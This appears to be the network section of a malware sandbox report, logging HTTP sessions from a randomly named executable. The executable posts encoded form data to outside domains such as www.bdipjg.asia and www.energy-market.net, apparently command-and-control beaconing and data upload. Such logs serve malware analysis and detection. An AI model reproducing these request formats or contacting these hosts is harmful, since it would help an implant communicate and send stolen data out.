Oct 8, 2024 15:24:15.211040020 CEST	788	OUT	POST /c3wv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.bdipjg.asia Origin: http://www.bdipjg.asia Referer: http://www.bdipjg.asia/c3wv/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 42 63 35 34 4f 42 72 79 35 39 65 69 63 2b 30 61 4d 4e 66 37 49 6f 41 67 6b 49 77 4b 50 6f 38 75 6b 67 52 53 41 6c 33 6a 51 76 69 48 4a 44 4c 75 61 32 64 4b 6d 77 67 31 75 51 7a 6e 39 55 74 5a 4a 41 61 73 6c 76 36 2f 77 57 50 66 61 30 55 67 48 35 31 66 51 70 64 4f 4a 57 32 71 47 70 6d 57 6b 6e 2b 39 35 2f 72 6f 4d 4e 42 44 63 7a 5a 57 47 77 6e 66 74 70 6d 2b 54 67 6a 75 5a 38 33 76 34 51 33 59 47 78 75 34 61 58 4f 74 6c 77 4a 6f 56 41 5a 59 4c 44 37 2f 4b 75 66 6c 77 61 45 6a 69 36 42 2b 70 50 70 58 5a 64 47 53 50 30 6a 62 48 53 75 41 70 65 77 4a 44 48 50 68 4f 79 42 31 4e 51 3d 3d Data Ascii: 6v1=Bc54OBry59eic+0aMNf7IoAgkIwKPo8ukgRSAl3jQviHJDLua2dKmwg1uQzn9UtZJAaslv6/wWPfa0UgH51fQpdOJW2qGpmWkn+95/roMNBDczZWGwnftpm+TgjuZ83v4Q3YGxu4aXOtlwJoVAZYLD7/KuflwaEji6B+pPpXZdGSP0jbHSuApewJDHPhOyB1NQ==
Oct 8, 2024 15:24:15.371978998 CEST	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 08 Oct 2024 13:24:15 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.bdipjg.asia/c3wv/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49776	78.141.202.204	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:17.911602020 CEST	808	OUT	POST /c3wv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.bdipjg.asia Origin: http://www.bdipjg.asia Referer: http://www.bdipjg.asia/c3wv/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 42 63 35 34 4f 42 72 79 35 39 65 69 63 66 45 61 4b 71 6a 37 4f 49 42 53 6e 49 77 4b 64 6f 38 71 6b 67 64 53 41 67 50 4b 58 64 47 48 4a 69 37 75 62 33 64 4b 6c 77 67 31 6c 77 7a 69 69 6b 74 51 4a 41 57 6b 6c 74 75 2f 77 56 7a 66 61 77 51 67 48 4b 64 63 4b 5a 64 4d 46 32 32 6f 49 4a 6d 57 6b 6e 2b 39 35 2f 58 4f 4d 4e 5a 44 63 6a 70 57 48 53 66 59 67 4a 6d 39 55 67 6a 75 64 38 33 72 34 51 33 36 47 77 69 53 61 54 2b 74 6c 78 56 6f 56 52 5a 66 46 44 36 30 56 2b 65 4f 34 5a 74 66 6f 37 67 49 73 50 42 75 59 4d 61 56 48 43 79 42 61 67 61 6b 71 4e 73 37 48 33 32 4a 4d 77 41 75 51 51 34 69 61 56 38 78 7a 59 76 6e 4d 63 6e 4c 41 61 4e 43 66 61 59 3d Data Ascii: 6v1=Bc54OBry59eicfEaKqj7OIBSnIwKdo8qkgdSAgPKXdGHJi7ub3dKlwg1lwziiktQJAWkltu/wVzfawQgHKdcKZdMF22oIJmWkn+95/XOMNZDcjpWHSfYgJm9Ugjud83r4Q36GwiSaT+tlxVoVRZfFD60V+eO4Ztfo7gIsPBuYMaVHCyBagakqNs7H32JMwAuQQ4iaV8xzYvnMcnLAaNCfaY=
Oct 8, 2024 15:24:18.071861982 CEST	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 08 Oct 2024 13:24:17 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.bdipjg.asia/c3wv/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49777	78.141.202.204	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:20.598625898 CEST	2578	OUT	POST /c3wv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.bdipjg.asia Origin: http://www.bdipjg.asia Referer: http://www.bdipjg.asia/c3wv/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 42 63 35 34 4f 42 72 79 35 39 65 69 63 66 45 61 4b 71 6a 37 4f 49 42 53 6e 49 77 4b 64 6f 38 71 6b 67 64 53 41 67 50 4b 58 64 4f 48 4a 77 7a 75 61 55 31 4b 6b 77 67 31 73 51 7a 6a 69 6b 73 43 4a 41 2b 67 6c 74 79 46 77 54 2f 66 62 56 45 67 46 2f 70 63 66 4a 64 4d 61 47 32 74 47 70 6e 63 6b 6e 75 35 35 2f 6e 4f 4d 4e 5a 44 63 68 78 57 4f 67 6e 59 7a 35 6d 2b 54 67 6a 69 5a 38 33 58 34 52 66 41 47 77 6d 6f 61 67 32 74 6b 52 46 6f 58 6e 6c 66 4e 44 36 32 57 2b 65 57 34 5a 78 36 6f 37 39 33 73 50 6c 45 59 4f 36 56 43 55 72 45 4b 7a 61 76 2f 65 38 71 45 6b 75 58 44 32 55 6d 50 6e 6f 58 65 55 55 43 38 50 2f 66 4c 2b 33 2f 62 50 56 67 4f 65 73 65 74 56 6b 56 65 71 45 47 72 6b 37 6f 41 79 42 7a 4e 38 61 44 30 65 4f 67 54 59 70 53 6e 49 6c 61 4c 55 38 56 64 36 63 6b 71 65 33 72 54 4d 4a 6f 57 76 6d 49 46 55 63 47 64 6e 4c 44 58 56 54 55 37 49 42 6f 69 79 47 59 4e 57 6b 7a 65 53 64 65 67 47 34 38 71 7a 42 6b 63 6f 2f 35 33 62 70 7a 31 52 58 31 5a 41 48 63 32 76 6b 65 31 7a 77 52 72 53 46 58 70 66 [TRUNCATED] Data Ascii: 6v1=Bc54OBry59eicfEaKqj7OIBSnIwKdo8qkgdSAgPKXdOHJwzuaU1Kkwg1sQzjiksCJA+gltyFwT/fbVEgF/pcfJdMaG2tGpncknu55/nOMNZDchxWOgnYz5m+TgjiZ83X4RfAGwmoag2tkRFoXnlfND62W+eW4Zx6o793sPlEYO6VCUrEKzav/e8qEkuXD2UmPnoXeUUC8P/fL+3/bPVgOesetVkVeqEGrk7oAyBzN8aD0eOgTYpSnIlaLU8Vd6ckqe3rTMJoWvmIFUcGdnLDXVTU7IBoiyGYNWkzeSdegG48qzBkco/53bpz1RX1ZAHc2vke1zwRrSFXpfRD+xWzbIasC+0zTnmM1u1PB1PEMzaVYvSfOrbCZoLAe7yNK9oD5Fpq+OEMekBb0JGlu8eCEqnzDXebNt+pPB/ZED/U9de3Ic0pYCTbYFOgIAK47MdSn+lHm1oVnbOrHcsWKMzgEs5yInxQyTZgEG0XtUBygcMRnC9bo9ZeDLhzOiEdhFt6fxhXCH5jZDzc3ZPL1jPgyIiwcy0TL44Jw89GEYcGyiPyKTmFC/0NKfKOORcPSD2Z32a9+QCpXWsY3/CIRTzy6XcQMXwuzq+N0qeCNSkTChEONn0T9Q1C6kBNvaVuQQVn+Muho+49RvB4AERaNJHnBOf4owzQamD85viAFX5EWs3UNPUodO1hcyGUXe4qyNRzrumg6g64V0lUUPfp+iXoHHW/Vj7hwW7cqsOWBmB0xErssG3Hf7rRGtsd1B0+/04hQPMQiWXe4KwZ8zjRcmfGouvk3GtOPh+TfaFtrKIfuM5DLvcrusA/OQcM+RxfEg9rCYkt2bSlSRnqRMPlh+04aNDba5F2+3IQzN8Axm2rp2Qi4J9UZezg5VITiVVmn25idLi8FPHdpxcHahAbhHa8zEPjjvHg8T/nGpRjYRdkupXloODTrfj0Gmc5DlQvWpyXnK/8bXih6polLBS+YWVDHpUSkdVAE6xlDRMurlY1NwSE+Lm2 [TRUNCATED]
Oct 8, 2024 15:24:20.598696947 CEST	5379	OUT	Data Raw: 45 70 43 55 71 6f 64 77 32 50 34 4e 58 6f 73 2b 30 42 41 39 4b 54 65 57 70 4e 57 77 53 57 2b 69 38 45 76 63 33 32 61 53 34 57 63 32 7a 30 71 38 41 73 39 73 52 62 6f 46 5a 32 34 65 2b 69 41 5a 41 70 64 53 4f 50 69 61 4f 31 63 35 31 78 46 31 6c 64 Data Ascii: EpCUqodw2P4NXos+0BA9KTeWpNWwSW+i8Evc32aS4Wc2z0q8As9sRboFZ24e+iAZApdSOPiaO1c51xF1ldjTGyQTohY59Hs/k8EXMMb+isqeq8Q43N3kWY0+OW0tJHgoU6Wm/ZWnZQJcVC/4eWH0hYgU5H8Tb84A2LtazWuA4GpOVMildEOJQDlFcpDjZIVLf6pMLCzESQ24zTNUIs8OUikQZb3fOE7hYMq7QyEi3p1vvQSZ6r5
Oct 8, 2024 15:24:20.759046078 CEST	399	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 08 Oct 2024 13:24:20 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.bdipjg.asia/c3wv/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49778	78.141.202.204	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:23.283864975 CEST	529	OUT	GET /c3wv/?6v1=MeRYN0L9lvmsfuBVfJXwKI4otpUPbIkQuRQIC1j2X6eiJk3nQUhhohw7tTSD+TojEiP9+d6h1TS1cF8pCP5md9k0BFqQNorbrV7j46WWE8JNFz9VDX2D0pc=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.bdipjg.asia Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:24:23.444147110 CEST	539	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 08 Oct 2024 13:24:23 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.bdipjg.asia/c3wv/?6v1=MeRYN0L9lvmsfuBVfJXwKI4otpUPbIkQuRQIC1j2X6eiJk3nQUhhohw7tTSD+TojEiP9+d6h1TS1cF8pCP5md9k0BFqQNorbrV7j46WWE8JNFz9VDX2D0pc=&dX7=sns4Fhmpql Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49780	188.94.252.140	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:28.909904957 CEST	806	OUT	POST /1c4z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.energy-market.net Origin: http://www.energy-market.net Referer: http://www.energy-market.net/1c4z/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 4b 4d 31 30 43 36 5a 53 6e 59 69 6a 31 39 4b 74 68 61 30 46 66 6c 61 75 66 68 6e 53 36 4e 78 6f 55 44 4c 53 76 78 39 6c 75 4c 53 5a 56 31 37 33 4a 50 76 56 4b 7a 67 36 66 34 6e 43 4c 5a 44 78 4d 67 31 68 52 32 68 4a 66 37 54 44 32 75 53 47 71 6f 31 37 2b 48 61 51 32 54 2b 69 32 37 31 63 2f 71 31 2b 64 46 6b 32 6b 79 63 65 53 2f 6e 50 37 4b 72 6f 68 46 73 44 2f 6c 57 4e 59 63 67 51 38 72 6e 36 4c 46 37 30 47 79 58 32 4a 66 38 47 2f 42 38 72 49 58 71 62 46 54 38 36 74 76 76 66 74 6b 73 59 59 46 59 54 76 2b 7a 73 52 58 33 31 78 64 66 6b 6a 65 52 49 53 45 4d 41 64 63 62 68 48 67 3d 3d Data Ascii: 6v1=KM10C6ZSnYij19Ktha0FflaufhnS6NxoUDLSvx9luLSZV173JPvVKzg6f4nCLZDxMg1hR2hJf7TD2uSGqo17+HaQ2T+i271c/q1+dFk2kyceS/nP7KrohFsD/lWNYcgQ8rn6LF70GyX2Jf8G/B8rIXqbFT86tvvftksYYFYTv+zsRX31xdfkjeRISEMAdcbhHg==
Oct 8, 2024 15:24:29.089884043 CEST	1140	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:24:29 GMT Server: Apache Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Content-Length: 955 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"><html><head><meta http-equiv="Content-Type" content="text/css; charset=utf-8" /><title>Fehler 404 - Seite nicht gefunden</title><link rel="stylesheet" type="text/css" href="/mittwald_system_pages/css/style.css"> ...[if lte IE 6]><style type="text/css">div, img{ behavior:url(/mittwald_system_pages/scripts/iepngfix.htc) }</style><![endif]--></head><body><div id="box"><div id="oben"></div><div id="textbox"><div id="textboxcontent"><span class="rad"> </span> <h1>Seite nicht gefunden</h1> <p>Fehler 404 - Seite nicht gefunden<br />Die angeforderte Seite existiert nicht oder steht temporr nicht zur Verfgung.<br />Bitte versuchen Sie es spter noch einmal oder rufen Sie die Startseite der gewnschten Domain auf.</p></div></div><div id="unten"></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49781	188.94.252.140	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:31.616234064 CEST	826	OUT	POST /1c4z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.energy-market.net Origin: http://www.energy-market.net Referer: http://www.energy-market.net/1c4z/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 4b 4d 31 30 43 36 5a 53 6e 59 69 6a 30 65 43 74 6b 37 30 46 58 6c 61 74 54 42 6e 53 74 64 78 73 55 44 48 53 76 7a 52 31 74 39 69 5a 62 77 48 33 48 71 62 56 4e 7a 67 36 58 59 6e 48 50 5a 44 36 4d 67 34 63 52 32 74 4a 66 37 58 44 32 71 57 47 71 59 4a 36 2f 58 61 53 36 7a 2b 73 72 4c 31 63 2f 71 31 2b 64 46 77 50 6b 79 6b 65 53 50 33 50 37 6f 44 72 6f 6c 73 4d 33 46 57 4e 63 63 67 63 38 72 6e 55 4c 42 7a 4f 47 33 4c 32 4a 61 59 47 2f 51 38 6f 44 58 71 64 42 54 38 72 6a 71 4b 74 32 48 63 6c 57 33 51 74 6f 76 7a 6e 5a 68 6d 76 73 76 72 41 67 4e 4e 36 57 30 31 6f 66 65 61 36 61 6e 41 6e 34 39 36 73 6b 4d 4d 7a 70 72 51 68 54 52 52 33 7a 4c 6b 3d Data Ascii: 6v1=KM10C6ZSnYij0eCtk70FXlatTBnStdxsUDHSvzR1t9iZbwH3HqbVNzg6XYnHPZD6Mg4cR2tJf7XD2qWGqYJ6/XaS6z+srL1c/q1+dFwPkykeSP3P7oDrolsM3FWNccgc8rnULBzOG3L2JaYG/Q8oDXqdBT8rjqKt2HclW3QtovznZhmvsvrAgNN6W01ofea6anAn496skMMzprQhTRR3zLk=
Oct 8, 2024 15:24:31.796224117 CEST	1140	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:24:31 GMT Server: Apache Vary: User-Agent Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Content-Length: 955 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"><html><head><meta http-equiv="Content-Type" content="text/css; charset=utf-8" /><title>Fehler 404 - Seite nicht gefunden</title><link rel="stylesheet" type="text/css" href="/mittwald_system_pages/css/style.css"> ...[if lte IE 6]><style type="text/css">div, img{ behavior:url(/mittwald_system_pages/scripts/iepngfix.htc) }</style><![endif]--></head><body><div id="box"><div id="oben"></div><div id="textbox"><div id="textboxcontent"><span class="rad"> </span> <h1>Seite nicht gefunden</h1> <p>Fehler 404 - Seite nicht gefunden<br />Die angeforderte Seite existiert nicht oder steht temporr nicht zur Verfgung.<br />Bitte versuchen Sie es spter noch einmal oder rufen Sie die Startseite der gewnschten Domain auf.</p></div></div><div id="unten"></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49782	188.94.252.140	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:24:34.334873915 CEST	6445	OUT	POST /1c4z/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.energy-market.net Origin: http://www.energy-market.net Referer: http://www.energy-market.net/1c4z/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 4b 4d 31 30 43 36 5a 53 6e 59 69 6a 30 65 43 74 6b 37 30 46 58 6c 61 74 54 42 6e 53 74 64 78 73 55 44 48 53 76 7a 52 31 74 39 71 5a 62 46 4c 33 49 74 33 56 4d 7a 67 36 57 59 6e 47 50 5a 44 64 4d 67 78 58 52 32 78 6a 66 34 2f 44 6e 2f 43 47 73 72 52 36 31 58 61 53 79 54 2b 68 32 37 31 7a 2f 75 52 45 64 46 67 50 6b 79 6b 65 53 4e 2f 50 73 71 72 72 71 6c 73 44 2f 6c 58 66 59 63 67 77 38 72 2f 69 4c 42 33 6b 46 45 54 32 4b 36 6f 47 35 69 55 6f 66 48 71 66 4d 7a 39 32 6a 71 4f 32 32 48 41 54 57 32 6b 44 6f 75 37 6e 63 56 6a 59 35 65 76 62 31 2b 59 78 64 78 64 78 66 2f 4f 35 51 56 55 6b 7a 2b 43 69 36 36 45 42 76 37 49 6f 50 53 35 51 68 66 66 52 63 49 68 57 36 56 68 45 53 2b 59 47 33 65 31 33 59 4f 73 62 4d 2b 30 6c 2b 49 4a 4d 33 73 63 36 4c 42 35 31 43 57 7a 64 68 57 66 2b 59 63 4b 4a 47 53 45 2f 6b 4a 50 71 6b 37 63 43 49 67 7a 6a 63 36 63 47 30 75 4f 79 46 44 35 7a 57 32 50 59 57 66 6d 62 42 75 74 74 4b 7a 31 55 5a 4f 6d 6b 35 71 67 4f 73 4a 75 7a 4f 2f 75 65 77 4c 78 4f 31 6a 53 66 31 35 [TRUNCATED] Data Ascii: 